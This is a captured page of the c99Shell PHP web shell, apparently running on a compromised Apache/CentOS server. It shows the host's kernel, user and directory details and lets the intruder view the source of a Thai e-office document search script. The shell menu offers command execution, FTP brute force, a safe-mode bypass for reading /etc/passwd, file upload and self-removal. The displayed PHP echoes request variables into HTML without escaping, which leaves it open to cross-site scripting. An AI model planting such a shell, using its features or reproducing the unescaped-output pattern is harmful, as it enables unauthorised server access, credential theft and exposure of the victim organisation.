!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editDocRefAnsTable.php (7.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDoc = new Documents($oC);
$oRSt = new receiveSendType($oC);

if(
$RsID==4){  $searchRsID=3; }

?>
<html>
<head>
<title>ค้นหาหนังสือที่อ้างถึง</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body><br>
<fieldset>
       <?  // echo "==".$RsID."==".$DtID."==".$endDoc."==".$DocNoSearch; ?>
<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"> &nbsp;<strong><img src="../picture/official_letter.gif" alt=""  border="0" >&nbsp;ค้นหาหนังสือที่อ้างถึงเพื่อตอบกลับ</strong> 
</font></legend>
<br>
       <form name="ff" action="editDocRefAnsTable.php">
       <input type="hidden" name="DocID" value="<? echo $DocID?>">
       <input type="hidden" name="RsID" value="<? echo $RsID?>">
        <input type="hidden" name="DtID" value="<? echo $DtID?>">
        <input type="hidden" name="DocfCir" value="<? echo $DocfCir?>">
        <input type="hidden" name="DocNo" value="<? echo $DocNo?>">
        <input type="hidden" name="DocDate" value="<? echo $DocDate?>">
        <input type="hidden" name="DocSubject" value="<? echo $DocSubject?>">
        <input type="hidden" name="DocFrom" value="<? echo $DocFrom?>">
        <input type="hidden" name="DocTo" value="<? echo $DocTo?>">
        <input type="hidden" name="DocOther" value="<? echo $DocOther?>">
        <input type="hidden" name="DocRef" value="<? echo $DocRef?>">
        <input type="hidden" name="DslID" value="<? echo $DslID?>">
        <input type="hidden" name="DclID" value="<? echo $DclID?>">
        <input type="hidden" name="DocShortDesc" value="<? echo $DocShortDesc?>">
    <input type="hidden" name="endDoc" value="<? echo $endDoc?>">
    <input type="hidden" name="pageSearch" value="<? echo $pageSearch?>">
    <input type="hidden" name="DrsSendToPs" value="<? echo $DrsSendToPs?>">
    <input type="hidden" name="DocRefAns" value="<? echo $DocRefAns?>">
    <input type="hidden" name="DocRefAnsID" value="<? echo $DocRefAnsID?>">
    <input type="hidden" name="DLCID" value="<? echo $DLCID?>"> 
        <input type="hidden" name="DlcPS2" value="<? echo $DlcPS2?>">
        <input type="hidden" name="useMainDocNo" value="<? echo $useMainDocNo?>">
       <table border="0" align="center" width="98%">
       <tr><td><strong>ชนิดหนังสือ</strong></td><td><? echo  $oRSt->SearchShowRsName($searchRsID);?></td></tr>
       <tr><td width="30%"><strong>ที่หนังสือ</strong></td><td width="43%">
       <input name="DocNoSearch" type="text" maxlength="50" size="25"></td>
       
      <td width="27%">&nbsp;</td>
       </tr>
        <tr><td width="30%"><strong>เรื่อง</strong></td><td width="43%">
       <input name="DocSubjectSearch" type="text" maxlength="50" size="30"></td>
       <td width="27%"><input type=submit value="ค้นหา" align=center onClick="return checkFormat();" ></td>
       </tr>
       </table>
       <? if(th2a($DocNoSearch)!="" ||  th2a($DocSubjectSearch)!=""){ ?>
 <table width="98%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<? echo "../picture/table_header_bg.gif"?>">
      <tr height=22>
      <td width="14%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ลำดับที่</strong></font></td>
      <td width="40%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ที่หนังสือ เรื่อง</strong></font></td>  
      <td width="23%"  align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ลงวันที่</strong></font></td> 
      <td width="23%"  align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>วันที่ลงรับ</strong></font></td>   
      </tr>
       <tr bgcolor="#FFFFFF"><td align="center" height="22"><? echo a2th(1);?></td><td>&nbsp;&nbsp;&nbsp;<a href="processRegisterDoc.php?DocID=<? echo $DocID?>&RsID=<? echo $RsID?>&DtID=<? echo $DtID?>&DocfCir=<? echo $DocfCir?>&DocNo=<? echo $DocNo?>&DocDate=<? echo $DocDate?>&DocSubject=<? echo $DocSubject?>&DocFrom=<? echo $DocFrom?>&DocTo=<? echo $DocTo?>&DocOther=<? echo $DocOther?>&DslID=<? echo $DslID;?>&DclID=<? echo $DclID?>&DocShortDesc=<? echo $DocShortDesc?>&endDoc=<? echo $endDoc;?>&DrsSendToPs=<? echo $DrsSendToPs;?>&DocDateShow=<? echo $oDoc->DocDate?>&DocNoShow=<?  echo $oDoc->DocNo?>&DocSubjectShow=<?  echo $oDoc->DocSubject?>&pageSearch=<? echo $pageSearch?>&method=editDocRefAns&DocRef=<? echo $DocRef?>&DocRefAns=<? echo " "?>&DocRefAnsID=<? echo " "?>&DrsSendToPs=<? echo $DrsSendToPs;?>&notselect=1&useMainDocNo=<?  echo $useMainDocNo?>">ไม่เลือก</a>
      <td>&nbsp;</td><td>&nbsp;</td>
      </tr>
      <? $i=1;   
              
$oDoc->SearchByRsID3DocNoDocPID0($searchRsID,th2a($DocNoSearch),$DLCID,$DlcPS2,th2a($DocSubjectSearch));
             while(
$oDoc->GetRecord()){    
            
$i++;
      
?>
      <tr bgcolor="#FFFFFF"><td align="center" height="22"><?  echo a2th($i); ?></td>
      <td>&nbsp;<a href="processRegisterDoc.php?DocID=<? echo $DocID?>&RsID=<? echo $RsID?>&DtID=<? echo $DtID?>&DocfCir=<? echo $DocfCir?>&DocNo=<? echo $DocNo?>&DocDate=<? echo $DocDate?>&DocSubject=<? echo $DocSubject?>&DocFrom=<? echo $DocFrom?>&DocTo=<? echo $DocTo?>&DocOther=<? echo $DocOther?>&DslID=<? echo $DslID;?>&DclID=<? echo $DclID?>&DocShortDesc=<? echo $DocShortDesc?>&endDoc=<? echo $endDoc;?>&DrsSendToPs=<? echo $DrsSendToPs;?>&DocDateShow=<? echo $oDoc->DocDate?>&DocNoShow=<?  echo $oDoc->DocNo?>&DocSubjectShow=<?  echo $oDoc->DocSubject?>&pageSearch=<? echo $pageSearch?>&method=editDocRefAns&DocRef=<? echo $DocRef?>&DocRefAns=<? echo $DocRefAns?>&DocRefAnsID=<? echo $oDoc->DocID?>&DrsSendToPs=<? echo $DrsSendToPs;?>&useMainDocNo=<?  echo $useMainDocNo?>">
     <?  echo $oDoc->DocNo.'<br>&nbsp;&nbsp;'.$oDoc->DocSubject?></a></td>
      <td align="center"><?php  if($oDoc->DocDate =="0000-00-00"){ echo ""; }else{ echo abbreDate(splitDateDb2($oDoc->DocDate ,'/')); }?></td>
      <td align="center"><?php   list($DocD,$DocT) = split(' ',$oDoc->DocDateCreate);  echo abbreDate2($DocD,'/')."<br>".a2th($DocT);?></td>
      </tr>
      <? }    ?>
      <? if($i==1){ ?>
      <tr bgcolor="#FFFFFF"><td align="center" height="22" colspan="4"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือที่ค้นหา **</font></td> </tr>
      <? ?>
      </table>
      <table border="0" align="center" width="98%">
      <tr bgcolor="#FFFFFF"><td align="center" colspan="2">
          <input type="button" name="cancel" value="ยกเลิก" onClick="window.close();">
      </td></tr>
      </table><? }  // if search ?></form>
 </fieldset><table border="0" align="center" width="98%">
      <tr><td width="25%"  align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="85%"  align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเลือกที่หนังสือที่ต้องการอ้างถึง </font></td></tr>
      </table>
</body>
</html>
<script language="JavaScript">
function checkFormat(){
/*
    if(document.ff.DocNoSearch.value == ""){
        alert("กรุณากรอกที่หนังสือ");
        document.ff.DocNoSearch.focus();
        return false;
    }
    */
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.014 ]--